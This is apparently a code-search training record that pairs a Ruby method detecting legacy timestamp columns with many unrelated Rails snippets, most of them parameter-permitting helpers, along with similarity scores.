:pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Little piggy return `:legacy` if columns include legacy timestamp. If not return true if include normal...
def timestamps? if (model_column_names & %w[created_on updated_on]).any? :legacy else (model_column_names & %w[created_at updated_at]).any? end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def legacy_sql?\n val = @gapi.configuration.query.use_legacy_sql\n return true if val.nil?\n val\n end", "def legacy?\n false\n end", "def timestamp?\n type == \"TIMESTAMP\"\n end", "def must_convert?\n big_query_conversion_column.present? && unit != 'seconds'\n end", "def requires_sql_standard_datetimes?\n true\n end", "def must_convert?\n self.big_query_conversion_column.present? && self.unit != 'seconds'\n end", "def standard_sql?\n !legacy_sql?\n end", "def timeseries?\n !@column_metadata.select { |dc| dc.role == NexosisApi::ColumnRole::TIMESTAMP }.empty?\n end", "def legacy?\n date < Date.new(2014, 06, 06)\n end", "def should_override_api_timestamp?\n (@timestamp_header_value == \"posse\")? true : false\n end", "def timestamp?\n !!(self =~ /^Rel\\d\\d\\d\\d\\d\\d\\d\\d$/ ||\n self =~ /^\\w\\w\\w?_\\d\\d\\d\\d_\\d\\d_\\d\\d_\\d\\d_\\d\\d$/)\n end", "def supports_timestamp_usecs?\n false\n end", "def is_oldformat?\n db.keys[0..5].each {|key|\n begin\n YAML.load(db[key])\n rescue Psych::SyntaxError => ex\n return false\n rescue => ex\n return false\n end\n }\n return true\n end", "def has_changes_to_versioned_columns?\n !! changed_versioned_columns.detect do |key|\n send(key).is_a?(Paperclip::Attachment) ? \n send(key).is_a?(Paperclip::Attachment) && send(key).dirty? :\n send(key) != latest_version.send(key)\n end\n end", "def supports_timestamp_timezones?\n true\n end", "def supports_timestamp_timezones?\n true\n end", "def supports_timestamp_timezones?\n true\n end", "def has_updated_at_timestamp?\n !!@updated_at\n end", "def record_timestamps\n false\n end", "def datetime?\n type == \"DATETIME\"\n end", "def activerecord_json_column?\n return false unless activerecord?\n return false unless column = record.class.columns_hash[attribute.to_s]\n\n [:json, :jsonb].include?(column.type)\n end", "def legacy?\n concierge_version.to_s.empty?\n end", "def object_changes_col_is_json?\n [:json, :jsonb].include?(columns_hash[\"object_changes\"].try(:type))\n end", "def can_use_fast_cache_version?(timestamp)\n timestamp.is_a?(String) &&\n cache_timestamp_format == :usec &&\n self.class.connection.default_timezone == :utc &&\n !updated_at_came_from_user?\n end", "def acts_like_time?\n\t\ttrue\n\tend", "def supports_datetime_with_precision?\n false\n end", "def supports_datetime_with_precision?\n false\n end", "def default_column?(col)\n if col == \"id\" || col == \"created_at\" || col == \"updated_at\" then\n return true\n end\n false\n end", "def record_timestamps\n false\n end", "def versionable?\n !respond_to?(:is_standard?) || !is_standard?\n end", "def has_status_timestamp?\n !overall_status_modified_at.nil?\n end", "def has_timestamps?\n has_created_at_timestamp? || has_updated_at_timestamp?\n end", "def timestamping?\n !timeless\n end", "def time_query?\n created_at? || updated_at?\n end", "def date_or_time?(row, idx)\n row.format(idx).date_or_time? && Float(read_cell_content(row, idx)) > 0 rescue false\n end", "def supports_outdated_sync?\n updated_at_field = root.child_hash[outdated_sync_field] if outdated_sync_field\n !!updated_at_field && updated_at_field.value.nil?\n end", "def columns?\n @columns_on\n end", "def to_bool() true end", "def boolean cols\n decode_values :boolean, cols\n end", "def temporal?\n properties.include?(\"temporal\")\n end", "def enable_extended_mkcol?\n true\n end", "def to_bool() false end", "def legacy_mode?\n return true if RUBY_VERSION.match(/1\\.8\\.[67]/)\n end", "def timestamp?\n created_at || expires_at || @wsu_timestamp\n end", "def changes_to_default?\n return false unless has_default?\n\n # Cast our value to the actual type; if this is a boolean value, this\n # casts \"f\" to false.\n column = master_class.type_for_attribute(column_name)\n typecasted_value = column.deserialize(value)\n\n typecasted_value == get_default\n end", "def legacy_request?\n AedLegacy.legacy_year?(params[:year])\n end", "def has_both_timestamps?\n has_created_at_timestamp? && has_updated_at_timestamp?\n end", "def utc?() end", "def up_to_date_for?(timestamp)\n keys.sort.last >= timestamp\n end", "def unconverted_fields?() @unconverted_fields end", "def cache_column?\n false\n end", "def prefer_stable?\n alias_of.prefer_stable?\n end", "def acts_like_time?\n true\n end", "def date?\n false\n end", "def fields_match_columns?\n fields = all_implementation_fields(only_real: true)\n # fields.reject! { |f| f.index(/^embedded_report_|^placeholder_/) }\n\n (fields.sort - table_columns.map { |c| c.name.to_s }.sort).empty?\n end", "def supports_is_true?\n false\n end", "def has_non_scd_field_changes?(row, original_record)\n non_scd_fields(row).any? { |non_csd_field| row[non_csd_field] != original_record[non_csd_field] }\n end", "def old?\n if modified_at.nil?\n false\n else\n modified_at < self.class.old_in_days.days.ago.to_i\n end\n end", "def has_floating_timezone?\n false\n end", "def activerecord_save_touch_option?\n ActiveRecord::VERSION::STRING.to_f >= 5.0\nend", "def column_value_boolean\n case Utilities.adapter\n when 'mysql2', 'postgresql'\n column_value ? \"true\" : \"false\"\n when 'sqlite3', 'sqlserver'\n column_value ? \"1\" : \"0\"\n end\n end", "def preconditions\n ActiveRecord::VERSION::MAJOR >= 6 &&\n Helper.postgresql? &&\n primary_field? &&\n column.sql_type.to_s.match(TARGET_COLUMN_TYPE)\n end", "def requires_serialization_on_save?(model)\n maybe_flex_object = model._flex_column_object_for(column_name, false)\n out = true if maybe_flex_object && maybe_flex_object.deserialized?\n out ||= true if ((! column.null) && (! model[column_name]))\n out\n end", "def has_created_at_timestamp?\n !!@created_at\n end", "def rely_on_built_at?\n return false if created_at.to_date != RUBYGEMS_IMPORT_DATE\n\n built_at && built_at <= RUBYGEMS_IMPORT_DATE\n end", "def use_column_schema_to_ruby_default_fallback?\n database_type != :mysql\n end", "def use_column_schema_to_ruby_default_fallback?\n database_type != :mysql\n end", "def isDataUpToDate?\n DailyNews.first.updated_at.to_s.slice(5..6).eql? Time.now.to_s.slice(8..9)\n end", "def index_time_payloads?\n $client.version_support.es_version_2_x?\nend", "def attr_get_boolean(attr_type, strict = true)\n #This is a stub, used for indexing\n end", "def featured?\n featured_at?\n end", "def old() @time < Time.now.to_f end", "def origin_changed?(features)\n features.values.map(&:updated_at).compact.max != Arturo::Feature.maximum(:updated_at)\n end", "def able_to_set_updated_at?\n !frozen? && !timeless? && (new_record? || changed?)\n end", "def has_timezone?\n properties.include?(\"has_timezone\")\n end", "def use_table?()\n return key =~ /_T$/\n end", "def completely_deprecated?\n @deprecated == :completely\n end", "def object_col_is_json?\n [:json, :jsonb].include?(columns_hash[\"object\"].type)\n end", "def tracks_approved_version?\n column_names.include? 'approved_version_id'\n end", "def tracks_approved_version?\n column_names.include? 'approved_version_id'\n end", "def v6?\n return v6\n end", "def acts_like_time?\n true\n end", "def migratable_since(since)\n Scenario.where(\n '(keep_compatible = :keep_compatible OR updated_at >= :updated_at) AND ' \\\n 'COALESCE(source, \"\") != :mechanical_turk_source AND ' \\\n 'user_values IS NOT NULL AND user_values != :empty_user_values',\n keep_compatible: true,\n updated_at: since,\n mechanical_turk_source: 'Mechanical Turk',\n empty_user_values: ActiveSupport::HashWithIndifferentAccess.new.to_yaml\n )\n end", "def datetime?\n !@arg[:datetimeValue].nil?\n end", "def is_timeseries?\n \treturn true\n end", "def single_date?\n event_type.to_sym == :single\n end", "def timezone_changed?\n changed.include?('timezone')\n end", "def booleans cols\n decode_values :boolean, cols, true\n end", "def update_timestamps_for_changes?\n klass = commentable.class\n if klass.respond_to? :update_timestamps_for_comment_changes?\n klass.update_timestamps_for_comment_changes?\n else\n false\n end\n end", "def respond_to_missing?(sym, include_priv)\n return false if sym.to_sym == :acts_like_date?\n time.respond_to?(sym, include_priv)\n end", "def sort_requires_case_norm?(col)\n return false if col.match?(/_at$/) # no timestamps\n return false if col.match?(/^is_/) # no booleans\n return false if col.match?(/_count$/) # no integers\n return false if col.match?(/date$/) # no dates\n\n true\n end", "def fetch_bool(key, opts = {})\n # TODO only handling with :since param\n scope = @db[:boolean_data_points].where(key_id: key[:id])\n scope = scope.where('time > :since', since: opts[:since]) if opts[:since]\n\n step_span = opts[:step] ? step(opts[:step])[:span] : guess_step_span(opts)\n # TODO brute force, optimize, aggregate\n rows = scope.order(:time).all\n\n time_values = []\n t = opts[:since]\n loop do\n t += step_span\n break if t > Time.now\n time_values.push t\n end\n\n lt = opts[:since] # last time\n cv = nil # current value\n st = 0 # sum true\n i = 0 # rows index\n time_values.map do |t|\n st = 0\n loop do\n row = rows[i]\n break unless row && time_wrap(row[:time]) <= t && time_wrap(row[:time]) > lt\n st += row[:time] - lt if cv == true\n cv = row[:value]\n lt = row[:time]\n i += 1\n end\n st += t - lt if cv == true\n lt = t\n [t, st / step_span.to_f]\n end\n end", "def updated_at?\n valid_params[\"updated_at\"] != nil\n end", "def supports_import?\n database_version >= MIN_VERSION_FOR_IMPORT\n end", "def legacy_performable_method?(payload_object)\n payload_object.object.is_a?(String) && payload_object.object.start_with?(LEGACY_DJ_FORMAT_PREFIX)\n end", "def changed?\n #card_type_changed?\n ret=(changed & DB_FIELDS).present? || VIRTUAL_FIELDS.any? {|attr| self.send(attr).present?}\n ret\n end", "def compatibility_fallback(schema, fullname, fingerprint)\n compatibility_break = compatibility_breaks[[fullname, fingerprint]]\n\n if compatibility_break\n logger.info(\"... Checking compatibility with level set to #{compatibility_break.with_compatibility}\")\n schema_registry.compatible?(\n fullname, schema, 'latest', with_compatibility: compatibility_break.with_compatibility\n )\n else\n false\n end\n end", "def sequel_json_column?\n return false unless record.is_a?(::Sequel::Model)\n return false unless column = record.class.db_schema[data_attribute]\n\n [:json, :jsonb].include?(column[:type])\n end", "def typecast_value_boolean(opts={});true;end", "def outdated?\n @outdated = []\n fields.each do |fld|\n if fld[:trans]\n # SomeTransferObject.remote_tranfer_function(remote_obj_data)\n virtual_local_val = fld[:trans][:obj].constantize.send( fld[:trans][:rem_trans], loc_obj.send( fld[:loc_key] ) )\n @outdated << fld if virtual_local_val != rem_obj.send( fld[:rem_key] )\n else\n @outdated << fld if rem_obj.send( fld[:rem_key] ) != loc_obj.send( fld[:loc_key] )\n end \n end\n !@outdated.empty?\n end" ]
[ "0.64281315", "0.63737583", "0.6359907", "0.6264884", "0.61880654", "0.6122293", "0.6117424", "0.6066156", "0.6033362", "0.6009418", "0.57517433", "0.57485795", "0.57454", "0.5692984", "0.5685877", "0.5685877", "0.5685877", "0.5665288", "0.5634653", "0.55782837", "0.5557073", "0.5541369", "0.550381", "0.5483231", "0.5469625", "0.54598063", "0.54598063", "0.54447865", "0.5443877", "0.54012626", "0.53995085", "0.53903437", "0.53673726", "0.53667694", "0.53533864", "0.5348521", "0.53470993", "0.5342449", "0.53146887", "0.53044677", "0.52992016", "0.5295219", "0.5285939", "0.5281092", "0.52468616", "0.5245922", "0.5205657", "0.5203886", "0.51860315", "0.5178164", "0.5168367", "0.51641685", "0.5150653", "0.5132135", "0.5121802", "0.51210225", "0.51192045", "0.51120037", "0.5111413", "0.511007", "0.5108979", "0.5096071", "0.5092097", "0.50867", "0.5085062", "0.5084008", "0.5084008", "0.50767034", "0.507048", "0.50630087", "0.5059444", "0.50524265", "0.5051621", "0.50509715", "0.504349", "0.50413036", "0.5039098", "0.5038731", "0.50386494", "0.50386494", "0.5037199", "0.5035241", "0.50345033", "0.5010767", "0.5009802", "0.50041306", "0.4996807", "0.49928874", "0.4991684", "0.49791512", "0.49789897", "0.49701273", "0.4968816", "0.4966327", "0.4958369", "0.49545723", "0.4947697", "0.49469188", "0.49463195", "0.49447072" ]
0.7235441
0
is there `acts_as_customizable` on Class ?
def custom_fields? model.included_modules.include?(Redmine::Acts::Customizable::InstanceMethods) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def acts_as_msfte\n extend ClassMethods\n end", "def meta_eval &blk; metaclass.instance_eval &blk; end", "def meta_eval &blk; metaclass.instance_eval &blk; end", "def klass_with_custom_fields(name)\n # Rails.logger.debug \"[CustomFields] klass_with_custom_fields #{self.send(name).metadata.klass} / #{self.send(name).metadata[:old_klass]}\" if defined?(Rails) # DEBUG\n recipe = custom_fields_recipe_for(name)\n _metadata = send(name)._association\n target = _metadata.options[:original_klass] || _metadata.klass # avoid to use an already enhanced klass\n target.klass_with_custom_fields(recipe)\n end", "def meta_eval\n metaclass.instance_eval\n end", "def decorated_object_behavior\n #code\n end", "def custom; end", "def custom; end", "def magic\n self.class.magic(self)\n end", "def metaclass\n class << self\n self\n end \n end", "def metaclass\n class << self\n self\n end\n end", "def metaclass\n class << self\n self\n end\n end", "def metaclass\n class << self; self end\n end", "def additional_fields; self.class.additional_fields end", "def additional_fields; self.class.additional_fields end", "def additional_fields; self.class.additional_fields end", "def extend_for_custom_fields(name)\n class_eval do\n field :\"#{name}_custom_fields_version\", type: ::Integer, default: 0\n\n embeds_many :\"#{name}_custom_fields\", class_name: dynamic_custom_field_class_name(name) # , cascade_callbacks: true # FIXME ?????\n\n accepts_nested_attributes_for :\"#{name}_custom_fields\", allow_destroy: true\n end\n\n class_eval <<-EOV, __FILE__, __LINE__ + 1\n after_initialize :refresh_#{name}_metadata\n before_update :bump_#{name}_custom_fields_version\n before_update :collect_#{name}_custom_fields_diff\n after_update :apply_#{name}_custom_fields_diff\n after_update :apply_#{name}_custom_fields_localize_diff\n\n def ordered_#{name}_custom_fields\n self.ordered_custom_fields('#{name}')\n end\n\n protected\n\n def refresh_#{name}_metadata\n self.refresh_metadata_with_custom_fields('#{name}')\n end\n\n def bump_#{name}_custom_fields_version\n self.bump_custom_fields_version('#{name}')\n end\n\n def collect_#{name}_custom_fields_diff\n self.collect_custom_fields_diff(:#{name}, self.#{name}_custom_fields)\n end\n\n def apply_#{name}_custom_fields_diff\n self.apply_custom_fields_diff(:#{name})\n end\n\n def apply_#{name}_custom_fields_localize_diff\n self.apply_custom_fields_localize_diff(:#{name})\n end\n\n EOV\n end", "def extended( hooked_instance )\n\n super if defined?( super )\n \n end", "def meta_eval(&block)\n metaclass.instance_eval(&block)\n end", "def metaclass\n class << self; self; end;\n end", "def metaclass\n class << self;\n self\n end\n end", "def metaclass\n class << self;\n self\n end\n end", "def new_function\n \"#{object.title} customed\"\n end", "def add_class(name); end", "def add_class(name); end", "def custom_class_present?(cls)\n custom_class.to_s.split.include?(cls)\n end", "def special\n override\n end", "def class_attributes; end", "def method_missing(method, *args, &block)\n custom_tmls = Origen.interface.send(:custom_tmls)\n if custom_tmls[method]\n tml = CustomTml.new(self, custom_tmls[method])\n instance_variable_set \"@#{method}\", tml\n define_singleton_method method do\n instance_variable_get(\"@#{method}\")\n end\n send(method)\n else\n super\n end\n end", "def extend_object( hooked_instance )\n\n original_extend_object( hooked_instance )\n super if defined?( super )\n \n end", "def generate_custom_classes\r\n\t\t# TODO: this method assumes an application to find the metadata on; the metadata should be part of this class instance instead, shared with the app when present\r\n\t\tparent_class_name = {\r\n\t\t\t'CustomMaterial' => 'MaterialBase',\r\n\t\t\t'Effect' => 'Effect',\r\n\t\t\t'Behavior' => 'Behavior',\r\n\t\t\t'RenderPlugin' => 'RenderPlugin'\r\n\t\t}\r\n\t\t@class_by_ref = {}\r\n\t\t@doc.xpath('/UIP/Project/Classes/*').each do |reference|\r\n\t\t\tpath = absolute_path( reference['sourcepath'] )\r\n\t\t\tnext unless File.exist?( path )\r\n\t\t\tparent_class = app.metadata.by_name[ parent_class_name[reference.name] ]\r\n\t\t\traise \"Error, unsupported custom class #{reference.name}\" unless parent_class\r\n\t\t\tparent_props = parent_class.properties\r\n\t\t\tnew_defaults = Hash[ reference.attributes.map{ |name,attr| [name,attr.value] }.select{ |name,val| parent_props[name] } ]\r\n\t\t\tproperty_el = case reference.name\r\n\t\t\t\twhen 'CustomMaterial', 'Effect', 'RenderPlugin'\r\n\t\t\t\t\tdoc = Nokogiri.XML(File.read(path,encoding:'utf-8'))\r\n\t\t\t\t\tdoc.at('/*/MetaData') || doc.at('/*/metadata') # Some render plugins in the wild use lower-case tag name :/\r\n\t\t\t\twhen 'Behavior'\r\n\t\t\t\t\tlua = File.read(path,encoding:'utf-8')\r\n\t\t\t\t\tmeta = lua[ /--\\[\\[(.+?)(?:--)?\\]\\]/m, 1 ]\r\n\t\t\t\t\tNokogiri.XML(\"<MetaData>#{meta}</MetaData>\").root\r\n\t\t\tend\r\n\t\t\t@class_by_ref[ \"##{reference['id']}\" ] = app.metadata.create_class( property_el, parent_class, reference.name, new_defaults )\r\n\t\tend\r\n\t\tnil\r\n\tend", "def super_class; end", "def super_class; end", "def add_authorizing_css_classes!(options, action, object)\n action = :\"#{action} #{object.class.name.underscore.downcase}\"\n roles = object.role_authorizing(action).expand(object)\n options[:class] ||= ''\n options[:class] = options[:class].split(/ /)\n options[:class] << 'visible_for' << roles.map { |role| role_to_css_class(role) }.join(' ')\n options[:class] = options[:class].flatten.uniq.join(' ')\n end", "def method_missing(method_name, *args)\n if method_name.to_s.start_with?('add_')\n extend method_name.slice(4..-1).camelize.constantize\n else\n super\n end\n end", "def add_authorizing_css_classes!(options, action, object)\r\n roles = object.role_authorizing(action).expand\r\n \r\n options[:class] ||= ''\r\n options[:class] = options[:class].split(/ /)\r\n options[:class] << 'visible-for' << roles.map(&:to_css_class).join(' ')\r\n options[:class] = options[:class].flatten.uniq.join(' ')\r\n end", "def inherited(klass); end", "def inherited(klass); end", "def type; super; end", "def hook_class_name; end", "def has_custom_object association_name, options = {}, &block \n if block_given?\n class_name = \"#{self.name}#{association_name.to_s.singularize.camelcase}\"\n create_class(class_name, CustomObject, &block) #unless defined?(class_name.classify.constantize)\n \n has_many association_name, :class_name=>class_name, :as => :customizable, :dependent => :destroy\n else\n raise \"no block given, which defines a CustomObject subclass\"\n end\n end", "def modify\n super\n end", "def safe_constantize\n MotionSupport::Inflector.safe_constantize(self)\n end", "def customize(command)\n @customizations << command\n end", "def custom_data\n super.attributes\n end", "def custom_collect_class(cllt_type, resource)\n cllt_type == 'check_box' ? get_tag_class(resource.object.name) : resource.text\n end", "def append_class(name); end", "def append_class(name); end", "def inherited(subclass)\n super\n subclass.acts_as_cacheable_cache = acts_as_cacheable_cache\n subclass.acts_as_cacheable_time_to_live = acts_as_cacheable_time_to_live\n subclass.acts_as_cacheable_logger = acts_as_cacheable_logger\n end", "def inherited(subclass); end", "def _add_method\n :\"_add_#{singularize(self[:name])}\"\n end", "def build_klass_with_custom_fields(recipe)\n name = recipe['name']\n # puts \"CREATING #{name}, #{recipe.inspect}\" # DEBUG\n safe_module_parent.const_set(name, Class.new(self)).tap do |klass|\n klass.cattr_accessor :version\n\n klass.version = recipe['version']\n\n # copy scopes from the parent class (scopes does not inherit automatically from the parents in mongoid)\n # FIXME (Did): not needed anymore ?\n # klass.write_inheritable_attribute(:scopes, self.scopes)\n\n recipe['rules'].each do |rule|\n send(:\"apply_#{rule['type']}_custom_field\", klass, rule)\n end\n recipe_model_name = recipe['model_name']\n model_name = proc do\n if recipe_model_name.is_a?(ActiveModel::Name)\n recipe_model_name\n else\n recipe_model_name.constantize.model_name\n end\n end\n klass.send :define_method, :model_name, model_name\n klass.send :define_singleton_method, :model_name, model_name\n end\n end", "def hook\n self.class.hook\n end", "def create_class\n attributes = content['attributes']\n mod.const_set class_name, Class.new(parent_class) {\n attr_accessor(*attributes)\n # include Concerns::Extendable\n }\n end", "def custom?\n @custom\n end", "def class_info?; \"#{self.class.name}\" end", "def meta_classes\n META_CLASSES\n end", "def base_class; end", "def method_missing(meth, *args, &blk)\n if args.length > 0\n self.class.add_custom_attribute meth\n send meth, *args, &blk\n else\n super meth, *args, &blk\n end\n end", "def meta_def_other cl, name, &blk\n (class << cl; self; end).instance_eval { define_method name, &blk }\n end", "def reflection; end", "def reflection; end", "def to_s; \"#{self.class} #{super}\"; end", "def inject_translatable_block\n inject_into_class model_path, class_name, generate_translatable_block\n end", "def jonize(name, clazz, options = {})\n name = name.to_sym\n name_before_type_cast = \"#{name}_before_type_cast\"\n\n options[:name] = name\n options[:class] ||= clazz\n\n alias_name = options[:alias]\n\n attribute_meta = meta.attributes[name]\n\n # In case we override the attribute.\n if attribute_meta\n attribute_meta.merge!(options)\n else\n attribute_meta = meta.attributes[name] = Jo::Meta.new(options)\n\n inheritance_column = if attribute_meta.polymorphism?\n options[:inheritance_column] || \"#{name}_type_id\"\n end\n\n instance = \"@#{name}\"\n instance_before_type_cast = \"@#{name}_before_type_cast\"\n\n class_eval do\n validate_jo_family(name, attribute_meta)\n\n define_method(name) do\n if instance_variable_defined?(instance)\n instance_variable_get(instance)\n else\n type_casted_object = Jo::Helper.type_cast(send(name_before_type_cast), attribute_meta)\n type_casted_object = Jo::Helper.bind(type_casted_object, attribute_meta, self, name)\n\n instance_variable_set(instance, type_casted_object)\n end\n end\n\n define_method(\"#{name}=\") do |object|\n object = Jo::Helper.to_jo(object, attribute_meta)\n type_casted_object = Jo::Helper.type_cast(object, attribute_meta)\n\n if type_casted_object != send(name)\n send(\"#{name}_will_change!\")\n\n type_casted_object = Jo::Helper.bind(type_casted_object, attribute_meta, self, name)\n\n instance_variable_set(instance, type_casted_object)\n instance_variable_set(instance_before_type_cast, object)\n end\n end\n\n define_method(name_before_type_cast) do\n if instance_variable_defined?(instance_before_type_cast)\n instance_variable_get(instance_before_type_cast)\n else\n object = read_attribute(name)\n\n object = nil if object.is_a?(String) && object.blank?\n\n object = Jo::Helper.to_jo(object, attribute_meta)\n\n object = attribute_meta.class.new if object.nil?\n\n instance_variable_set(instance_before_type_cast, object)\n end\n end\n\n define_method(\"type_cast_#{name}_object\") do |object|\n Jo::Helper.type_cast_object(object, attribute_meta)\n end\n\n # Write the jo to column before save if there are changes.\n before_save :if => \"#{name}_changed?\" do |model|\n object = send(name)\n\n if attribute_meta.polymorphism?\n object.type_id = object.class.type_ids[object.class] if object\n\n write_attribute(\"#{inheritance_column}\", object && object.type_id)\n end\n\n object = Jo::Helper.to_serialized_jo(object, attribute_meta)\n\n write_attribute(name, object.present? ? object.to_json : nil)\n\n true\n end\n\n after_save :if => \"#{name}_changed?\" do |model|\n object = send(name)\n\n if object\n object.saved! if attribute_meta.base?\n object.map_values(&:saved!) if (attribute_meta.array? || attribute_meta.hash?) && attribute_meta.object_base?\n end\n\n true\n end\n end\n end\n\n\n class_eval do\n if alias_name && alias_name != name\n alias_method alias_name, name\n alias_method \"#{alias_name}=\", \"#{name}=\"\n end\n end\n\n end", "def add_method_to(a_class)\n a_class.class_eval do\n def m; 'Hello!'; end\n end\nend", "def child_class\n Objekt\n end", "def update_on_instance_created(clazz, on_instance_created)\n return unless on_instance_created\n clazz.instance_eval do\n def instance_hooks\n hooks = (self.ancestors + [self]).map do |target|\n if target.instance_variable_defined?(:@instance_hooks)\n target.instance_variable_get(:@instance_hooks)\n end\n end\n\n hooks.flatten!\n hooks.compact!\n hooks.uniq!\n hooks\n end\n\n @instance_hooks ||= []\n @instance_hooks << on_instance_created\n end\n end", "def acts_as_votable args={}\n\n acts_as_votable_process_args args\n\n require 'acts_as_votable/votable'\n include ActsAsVotable::Votable\n\n class_eval do\n def self.votable?; true end\n end\n\n end", "def css_class\n end", "def update_on_instance_created(clazz, on_instance_created)\n return unless on_instance_created\n clazz.instance_eval do\n def instance_hooks\n hooks = (self.ancestors + [self]).map do |target|\n target.instance_variable_get(:@instance_hooks)\n end\n\n hooks.flatten!\n hooks.compact!\n hooks.uniq!\n hooks\n end\n\n @instance_hooks ||= []\n @instance_hooks << on_instance_created\n end\n end", "def custom_meta_data\n end", "def add_method\n :\"add_#{singularize(self[:name])}\"\n end", "def uhook_categorized_with field, options\n association_name = field.to_s.pluralize.to_sym\n if self.is_translatable?\n share_translations_for association_name\n # overwrite the aliased methods since now should use the i18n methods\n if field.to_s != association_name\n alias_method field, association_name\n alias_method \"#{field}=\", \"#{association_name}=\"\n end\n end\n end", "def _class\n special_attribute('@class'.freeze) || self.class.name.demodulize\n end", "def included(model_class); end", "def acts_as_citable &block\n # Allow for configurations\n self.format_field = 'format'\n self.data_field = 'data'\n if block\n yield self\n end\n\n # Use procs to define methods that give the data_field and format_field for inherited models.\n format_string = \"#{self.format_field}\"\n data_string = \"#{self.data_field}\"\n\n define_method(:format_field, Proc.new {format_string} )\n define_method(:data_field, Proc.new {data_string} )\n # Include the instance methods found below\n include InstanceMethods\n end", "def handle_custom_code\n # Any declaration code, usually wrapper function definitions\n self.code._get_custom_declarations.flatten.each do |decl|\n declarations << decl\n end\n\n # And the registration code to hook into Rice\n self.code._get_custom_wrappings.flatten.each do |wrap|\n registrations << \"\\t#{wrap.gsub(/<class>/, self.rice_variable)}\"\n end\n end", "def dynamic_custom_field_class_name(name)\n \"#{self.name}#{name.to_s.singularize.camelize}Field\"\n end", "def set_customizing\n @customizing = Customizing.find(params[:id])\n end", "def overrides; end", "def custom_label\n \"#{self.name}\"\n end", "def 